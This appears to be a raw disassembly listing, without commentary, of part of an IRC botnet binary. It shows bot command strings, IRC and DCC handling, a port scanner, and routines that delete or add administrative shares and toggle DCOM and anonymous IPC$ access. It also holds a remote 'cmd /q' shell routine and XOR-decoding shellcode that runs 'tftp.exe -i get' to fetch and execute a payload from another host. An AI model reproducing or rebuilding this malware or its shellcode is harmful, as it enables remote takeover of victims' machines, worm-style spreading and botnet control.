2E1F641Fh, 2Eh ; DATA XREF: sub_40EE72+109Co aDaemon_rlogin_ db 'daemon.rlogin.off',0 ; DATA XREF: sub_40EE72+107Eo align 4 dword_438368 dd 6F027302h, 1F736B63h, 2E2E1F34h, 0 ; DATA XREF: sub_40EE72+105Co aServer db 'Server',0 ; DATA XREF: sub_40EE72+1057o ; sub_40EE72+1097o ... align 10h aProxy_socks4_0 db 'proxy.socks4.off',0 ; DATA XREF: sub_40EE72+103Eo align 4 aProxy_s4_on db 'proxy.s4.on',0 ; DATA XREF: sub_40EE72+1029o aProxy_socks4_o db 'proxy.socks4.on',0 ; DATA XREF: sub_40EE72+1014o aLd_off db 'ld.off',0 ; DATA XREF: sub_40EE72+FFFo align 4 aLockdown_off db 'lockdown.off',0 ; DATA XREF: sub_40EE72+FEAo align 4 aLd_on db 'ld.on',0 ; DATA XREF: sub_40EE72+FD5o align 10h aLockdown_on db 'lockdown.on',0 ; DATA XREF: sub_40EE72+FC0o aVer db 'ver',0 ; DATA XREF: sub_40EE72+FABo aIrc_version db 'irc.version',0 ; DATA XREF: sub_40EE72+F96o aLo db 'lo',0 ; DATA XREF: sub_40EE72+F81o align 10h aIrc_logout db 'irc.logout',0 ; DATA XREF: sub_40EE72+F6Co align 4 aIrc_di db 'irc.di',0 ; DATA XREF: sub_40EE72+F57o align 4 aIrc_die db 'irc.die',0 ; DATA XREF: sub_40EE72+F42o aRn db 'rn',0 ; DATA XREF: sub_40EE72+F2Do align 10h aIrc_rndnick db 'irc.rndnick',0 ; DATA XREF: sub_40EE72+F15o a63 db '63',0 ; DATA XREF: sub_40EE72+DEEo align 10h asc_438420: ; DATA XREF: sub_40EE72+DC6o unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: sub_40EE72+D89o align 4 aServer_1 db '$server',0 ; DATA XREF: sub_40EE72+D7Eo aRndnick db '$rndnick',0 ; DATA XREF: sub_40EE72+D6Do align 10h aChan db '$chan',0 ; DATA XREF: sub_40EE72+D51o align 4 aUser_2 db '$user',0 ; DATA XREF: sub_40EE72+D40o align 10h aMe_0 db '$me',0 ; DATA XREF: sub_40EE72+D2Eo aD db '$%d',0 ; DATA XREF: sub_40EE72+CC0o aD_0 db '$%d-',0 ; DATA XREF: sub_40EE72+C05o align 10h aC_0: ; DATA XREF: sub_40EE72+B19o unicode 0, <c>,0 dword_438464 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+AE4o dd 2BBBB02h aChatFailedByUn db ' Chat failed by unauthorized user: %s.',0 dword_4384A4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+AD6o dd 2BBBB02h aChatAlreadyAct db ' Chat already active with user: %s.',0 align 4 dword_4384E4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+AC8o dd 2BBBB02h aFailedToSta_29 db ' Failed to start chat thread, error: <%d>.',0 dword_438528 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+A59o dd 2BBBB02h aChatFromUserS_ db ' Chat from user: %s.',0 align 4 aChat db 'CHAT',0 ; DATA XREF: sub_40EE72+9BFo align 10h dword_438560 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+99Co dd 2BBBB02h aReceiveFileSFa db ' Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 dword_4385B0 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+984o ; sub_40EE72+4ABEo dd 2BBBB02h aFailedToSta_30 db ' Failed to start transfer thread, error: <%d>.',0 dword_4385F8 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_40EE72+973o dd 0A0Dh dword_438610 dd 4E495001h, 47h ; DATA XREF: sub_40EE72+93Fo aSHasJustVersio db '%s has just versioned me.',0 ; DATA XREF: sub_40EE72+8F9o align 4 dword_438634 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_40EE72+8DCo dd 0D017325h, 0Ah dword_438650 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_40EE72+8ABo dword_43865C dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+791o dd 2BBBB02h aReceiveFileSFr db ' Receive file: ',27h,'%s',27h,' from user: %s.',0 aSend_0 db 'SEND',0 ; DATA XREF: sub_40EE72+6E8o align 10h dword_4386A0 dd 43434401h, 0 ; DATA XREF: sub_40EE72+6CAo dword_4386A8 dd 323333h ; DATA XREF: sub_40EE72+651o ; sub_40EE72+B4Fo ... dword_4386AC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5D2o dd 2BBBB02h aUserSLoggedOut db ' User: %s logged out.',0 align 4 dword_4386DC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5ABo dd 2BBBB02h aJoinedChanne_0 db ' Joined channel: %s.',0 align 4 a353 db '353',0 ; DATA XREF: sub_40EE72+574o aPart db 'PART',0 ; DATA XREF: sub_40EE72+526o ; sub_40EE72+5EFo align 4 aSS_0 db ':%s%s',0 ; DATA XREF: sub_40EE72+4FEo align 10h aNick db 'NICK',0 ; DATA XREF: sub_40EE72+3D0o align 4 aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+371o ; sub_40EE72+613o dword_438738 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+355o ; sub_40EE72+5FF4o ... dd 2BBBB02h aUserSLoggedO_0 db ' User %s logged out.',0 align 4 aKick db 'KICK',0 ; DATA XREF: sub_40EE72+2E4o align 10h aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+28Do ; sub_40EE72+4EB7o ... align 4 a433 db '433',0 ; DATA XREF: sub_40EE72+262o a@: ; DATA XREF: sub_40EE72+23Ao unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_40EE72+22Ao a005 db '005',0 ; DATA XREF: sub_40EE72+215o a001 db '001',0 ; DATA XREF: sub_40EE72+200o aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+1E4o ; sub_40EE72+3B7o ... align 10h aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+1C3o align 4 aPing db 'PING',0 ; DATA XREF: sub_40EE72+1A9o align 4 asc_4387B4: ; DATA XREF: sub_40EE72+19Ao ; sub_40EE72+60FBo unicode 0, <!>,0 asc_4387B8 db ' :',0 ; DATA XREF: sub_40EE72+86o ; sub_40EE72:loc_40FA19o align 4 aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_41518A+120o align 4 unk_4387C8 db 2 ; DATA XREF: sub_41533B:loc_4153C2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aProcessListFai db 'Process list failed.',0 align 10h unk_438800 db 2 ; DATA XREF: sub_41533B+80o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aProcessListCom db 'Process list completed.',0 unk_438838 db 2 ; DATA XREF: sub_41533B+19o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aListingProcess db 'Listing processes:',0 align 4 dword_43886C dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: ___:00415669o dd 2029671Fh, 2BBBB02h aUserLoggedOutS db ' User logged out: <%s@%s>.',0 dword_4388A4 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: ___:00415642o dd 2029671Fh, 2BBBB02h aErrorSessionru db ' Error: SessionRun(): <%d>.',0 align 10h dword_4388E0 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: ___:00415622o dd 2029671Fh, 2BBBB02h aUserLoggedInS@ db ' User logged in: <%s@%s>.',0 align 4 aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: ___:004155F2o align 4 dword_43892C dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: ___:00415561o dd 2029671Fh, 2BBBB02h aErrorGetpeerna db ' Error: getpeername(): <%d>.',0 align 4 dword_438968 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_415685:loc_4156CAo dd 2029671Fh, 2BBBB02h aProtocolString db ' Protocol string too long.',0 dword_4389A0 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_4156DF+1Bo dd 2029671Fh, 2BBBB02h, 6F4C2020h, 206E6967h, 656A6572h dd 64657463h, 6552202Ch, 65746F6Dh, 65737520h, 3C203A72h dd 25407325h, 2E3E73h, 7A026E02h, 201F6D1Fh, 6F6C7228h dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 72452020h dd 3A726F72h, 72657320h, 20726576h, 6C696166h, 202C6465h dd 75746572h, 64656E72h, 253C203Ah, 2E3E64h, 7A026E02h dd 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh, 2029671Fh dd 2BBBB02h, 61462020h, 64656C69h, 206F7420h, 72617473h dd 6C632074h, 746E6569h, 72687420h, 2C646165h, 72726520h dd 203A726Fh, 3E64253Ch, 2Eh, 7A026E02h, 201F6D1Fh, 6F6C7228h dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 6C432020h dd 746E6569h, 6E6F6320h, 7463656Eh, 206E6F69h, 6D6F7266h dd 3A504920h, 3A732520h, 202C6425h, 76726553h, 74207265h dd 61657268h, 25203A64h, 2E64h, 7A026E02h, 201F6D1Fh, 6F6C7228h dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 65522020h dd 20796461h, 20646E61h, 74696177h, 20676E69h, 20726F66h dd 6F636E69h, 676E696Dh, 6E6F6320h, 7463656Eh, 736E6F69h dd 2Eh, 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh dd 2029671Fh, 2BBBB02h, 61462020h, 64656C69h, 206F7420h dd 74736E69h, 206C6C61h, 746E6F63h, 2D6C6F72h, 61682043h dd 656C646Eh, 65202C72h, 726F7272h, 253C203Ah, 2E3E64h dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh dd 2029671Fh, 2BBBB02h, 72452020h, 3A726F72h, 41535720h dd 72617453h, 28707574h, 3C203A29h, 2E3E6425h, 0 aConst db 'const',0 align 4 dd 0 dword_438BAC dd 1 ; DATA XREF: sub_415D01+7o off_438BB0 dd offset sub_415996 ; DATA XREF: sub_415D01+49r aLetter db 'letter',0 align 10h dd 2, 4159F4h, 706D6F63h, 2 dup(0) dd 3, 415A41h, 6E756F63h, 797274h, 0 dd 4, 415ADFh, 736Fh, 2 dup(0) dd 5, 415B54h dword_438C04 dd 69257325h, 0 ; DATA XREF: sub_415996+40o ; ___:00415AC0o ... byte_438C0C db 50h ; DATA XREF: ___:00415A63o ; ___:00415A70r db 43h, 2 dup(0) dword_438C10 dd 7C7325h ; DATA XREF: ___:00415B0Eo ; sub_415D01+39o dword_438C14 dd 5D73255Bh, 7Ch ; DATA XREF: ___:00415C18o dword_438C1C dd 334B32h ; DATA XREF: ___:00415C08o dword_438C20 dd 5D64255Bh, 7325h ; DATA XREF: sub_415C5E+3Ao dword_438C28 dd 5D4D5Bh ; DATA XREF: sub_415C5E+2Co ; sub_415C5E+57o unk_438C2C db 2 ; DATA XREF: sub_415D6A+92o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aIpSPortDIsOp_0 db ' IP: %s Port: %d is open.',0 db 2 db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aScanningIpSPor db ' Scanning IP: %s, Port: %d.',0 align 10h off_438CA0 dd offset dword_438CD8 ; DATA XREF: sub_415F88+1B3o ; sub_4162AC+17Ao align 8 dd offset dword_438CD0 align 10h off_438CB0 dd offset dword_438CCC ; DATA XREF: sub_4162AC+1E3o dd offset dword_438CC8 dd offset dword_438CC4 dd offset dword_438CC0 dword_438CC0 dd 5C3A44h ; DATA XREF: sub_415F88+217o ; ___:00438CBCo dword_438CC4 dd 2444h ; DATA XREF: ___:00438CB8o dword_438CC8 dd 5C3A43h ; DATA XREF: ___:00438CB4o dword_438CCC dd 2443h ; DATA XREF: ___:off_438CB0o dword_438CD0 dd 494D4441h, 244Eh ; DATA XREF: ___:00438CA8o dword_438CD8 dd 24435049h, 0 ; DATA XREF: ___:off_438CA0o unk_438CE0 db 2 ; DATA XREF: sub_415F88+2E5o ; sub_4162AC+2DBo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aNetapi32_dllCo db ' Netapi32.dll couldn',27h,'t be loaded.',0 align 10h unk_438D20 db 2 ; DATA XREF: sub_415F88+2CFo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aNetworkSharesD db ' Network shares deleted.',0 align 4 unk_438D58 db 2 ; DATA XREF: sub_415F88:loc_4161EAo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToDelete db ' Failed to delete ',27h,'%S',27h,' share.',0 align 4 unk_438D94 db 2 ; DATA XREF: sub_415F88+25Bo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aShareSDeleted_ db ' Share ',27h,'%S',27h,' deleted.',0 align 4 unk_438DC8 db 2 ; DATA XREF: sub_415F88:loc_416157o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToDele_0 db ' Failed to delete ',27h,'%s',27h,' share.',0 align 4 unk_438E04 db 2 ; DATA XREF: sub_415F88+1C8o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aShareSDelete_0 db ' Share ',27h,'%s',27h,' deleted.',0 align 4 unk_438E38 db 2 ; DATA XREF: sub_415F88:loc_4160BAo ; sub_4162AC:loc_4163DAo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aAdvapi32_dllCo db ' Advapi32.dll couldn',27h,'t be loaded.',0 align 4 unk_438E78 db 2 ; DATA XREF: sub_415F88:loc_4160B3o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToOpenIp db ' Failed to open IPC$ Restriction registry key.',0 align 4 unk_438EC4 db 2 ; DATA XREF: sub_415F88:loc_416095o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aRestrictedAcce db ' Restricted access to the IPC$ Share.',0 align 4 unk_438F08 db 2 ; DATA XREF: sub_415F88+106o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToRestri db ' Failed to restrict access to the IPC$ Share.',0 align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_415F88+EDo ; sub_4162AC+EDo align 4 unk_438F68 db 2 ; DATA XREF: sub_415F88+91o ; sub_4162AC+91o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToOpenDc db ' Failed to open DCOM registry key.',0 align 4 dword_438FA8 dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h ; DATA XREF: sub_415F88:loc_415FF5o dd 2202967h, 2002BBBBh, 4F434420h, 6964204Dh, 6C626173h dd 2E6465h unk_438FD4 db 2 ; DATA XREF: sub_415F88+66o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aDisableDcomFai db ' Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_415F88+54o ; sub_4162AC+54o align 4 word_439014 dw 4Eh ; DATA XREF: sub_415F88+38r align 4 unk_439018 db 2 ; DATA XREF: sub_4162AC+2C3o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aNetworkSharesA db ' Network shares added.',0 align 4 aC_1 db '%c:\',0 ; DATA XREF: sub_4162AC+230o align 4 aC_2 db '%c$',0 ; DATA XREF: sub_4162AC+219o unk_439058 db 2 ; DATA XREF: sub_4162AC:loc_41644Bo ; sub_4162AC:loc_41651Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToAddSSh db ' Failed to add ',27h,'%s',27h,' share.',0 align 10h unk_439090 db 2 ; DATA XREF: sub_4162AC+198o ; sub_4162AC+269o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aShareSAdded_ db ' Share ',27h,'%s',27h,' added.',0 align 10h unk_4390C0 db 2 ; DATA XREF: sub_4162AC:loc_4163D3o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToOpen_0 db ' Failed to open IPC$ restriction registry key.',0 align 4 unk_43910C db 2 ; DATA XREF: sub_4162AC:loc_4163B5o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aUnrestrictedAc db ' Unrestricted access to the IPC$ Share.',0 unk_439150 db 2 ; DATA XREF: sub_4162AC+102o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToUnrest db ' Failed to unrestrict access to the IPC$ Share.',0 dword_43919C dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h ; DATA XREF: sub_4162AC:loc_416319o dd 2202967h, 2002BBBBh, 4F434420h, 6E65204Dh, 656C6261h dd 2E64h unk_4391C8 db 2 ; DATA XREF: sub_4162AC+66o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aEnableDcomFail db ' Enable DCOM failed.',0 align 4 word_4391FC dw 59h ; DATA XREF: sub_4162AC+38r align 10h dword_439200 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_4165C6+DEo dd 2029671Fh, 2BBBB02h aWaitformultipl db ' WaitForMultipleObjects error: <%d>.',0 align 4 dword_439244 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_4165C6+59o ; sub_4165C6+8Bo dd 2029671Fh, 2BBBB02h aFailedToCrea_0 db ' Failed to create ReadShell session thread, error: <%d>.',0 align 4 dword_43929C dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_416717+AFo dd 2029671Fh, 2BBBB02h aFailedToExecut db ' Failed to execute shell.',0 align 4 dword_4392D4 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_416717+7Eo dd 2029671Fh, 2BBBB02h aFailedToCrea_1 db ' Failed to create shell stdin pipe, error: <%d>.',0 align 4 dword_439324 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_416717+5Co dd 2029671Fh, 2BBBB02h aFailedToCrea_2 db ' Failed to create shell stdout pipe, error: <%d>.',0 align 4 dword_439374 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_416810+C3o dd 2029671Fh, 2BBBB02h aFailedToExec_0 db ' Failed to execute shell, error: <%d>.',0 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_416810+8Co align 10h dword_4393C0 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_4168E9+A1o dd 2029671Fh, 2BBBB02h aSessionreadshe db ' SessionReadShellThread exited, error: <%ld>.',0 align 4 loc_43940C: ; DATA XREF: sub_416C55+C4o jmp short loc_439410 ; --------------------------------------------------------------------------- loc_43940E: ; CODE XREF: ___:loc_439410p jmp short loc_439415 ; --------------------------------------------------------------------------- loc_439410: ; CODE XREF: ___:loc_43940Cj call loc_43940E loc_439415: ; CODE XREF: ___:loc_43940Ej pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 66h, 0B9h word_43941A dw 0FFFFh ; DATA XREF: sub_416C55+CCw db 80h, 73h, 0Eh byte_43941F db 0FFh ; DATA XREF: sub_416C55+D3w dd 0F9E243h ; --------------------------------------------------------------------------- loc_439424: ; DATA XREF: sub_416C55+A2o jmp short loc_439428 ; --------------------------------------------------------------------------- loc_439426: ; CODE XREF: ___:loc_439428p jmp short loc_43942D ; --------------------------------------------------------------------------- loc_439428: ; CODE XREF: ___:loc_439424j call loc_439426 loc_43942D: ; CODE XREF: ___:loc_439426j pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 0B1h byte_439431 db 0FFh ; DATA XREF: sub_416C55+AAw dw 7380h db 0Ch byte_439435 db 0FFh ; DATA XREF: sub_416C55+B0w dw 0E243h dd 0F9h dword_43943C dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_416ADE+57o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_4394A0 dd 12h ; DATA XREF: sub_416ADE+3Dw aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_416ADE+79o aJ db 'j',0 db 0E8h dword_4394B9 dd 17h ; DATA XREF: sub_416ADE+4Dw ; --------------------------------------------------------------------------- jnz short near ptr byte_4394C0 retn ; --------------------------------------------------------------------------- byte_4394C0 db 0E8h ; CODE XREF: ___:004394BDj dword_4394C1 dd 1 ; DATA XREF: sub_416ADE+45w byte_4394C5 db 0, 6Ah, 0 ; DATA XREF: sub_416ADE+C2o dd 7E8h db 0, 0Fh, 84h dword_4394CF dd 0FFFFFFEDh ; DATA XREF: sub_416ADE+5Dw ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn ; --------------------------------------------------------------------------- align 10h aThreadList db '-[Thread List]-',0 aSNoSThreadFoun db '%s: No %s thread found.',0 ; DATA XREF: sub_416FEA+51o aSSStopped_DThr db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_416FEA+35o dword_439550 dd 29E2C0h ; DATA XREF: sub_417302+4w sub_41730Cr ... align 10h dword_439560 dd 173Fh ; DATA XREF: sub_417CA4+Dr dd 9875h, 9873h off_43956C dd offset sub_417D73 ; DATA XREF: ___:00419AB8r dd offset nullsub_2 dd offset nullsub_2 dword_439578 dd 1B3Fh ; DATA XREF: sub_417DEB+Dr dword_43957C dd 19930520h, 4 dup(0) ; DATA XREF: sub_41826D+2o ; sub_418276+2o off_439590 dd offset sub_419AF6 ; DATA XREF: sub_419CDA+1Cr dword_439594 dd 2 ; DATA XREF: sub_41F84C+Er ; sub_41F885+46r ... off_439598 dd offset aNull_0 ; DATA XREF: sub_419E38:loc_41A19Cr ; sub_419E38+457r ; "(null)" off_43959C dd offset aNull ; DATA XREF: sub_419E38+259r ; "(null)" off_4395A0 dd offset word_4395AA ; DATA XREF: sub_417794+23r ; sub_417794:loc_4177F5r ... off_4395A4 dd offset word_4395AA ; DATA XREF: sub_422EB1+18r db 2 dup(0) word_4395AA dw 20h ; DATA XREF: sub_42102E+18r ; ___:off_4395A0o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_4397AC dd 1 ; DATA XREF: sub_417794:loc_41779Cr ; sub_417794:loc_4177E0r ... byte_4397B0 db 2Eh ; DATA XREF: sub_41C86F:loc_41C8AFr ; sub_41C8C9+4r ... align 4 dd 1, 10h, 0 off_4397C0 dd offset off_4397C0 ; DATA XREF: sub_41B888+Do ; 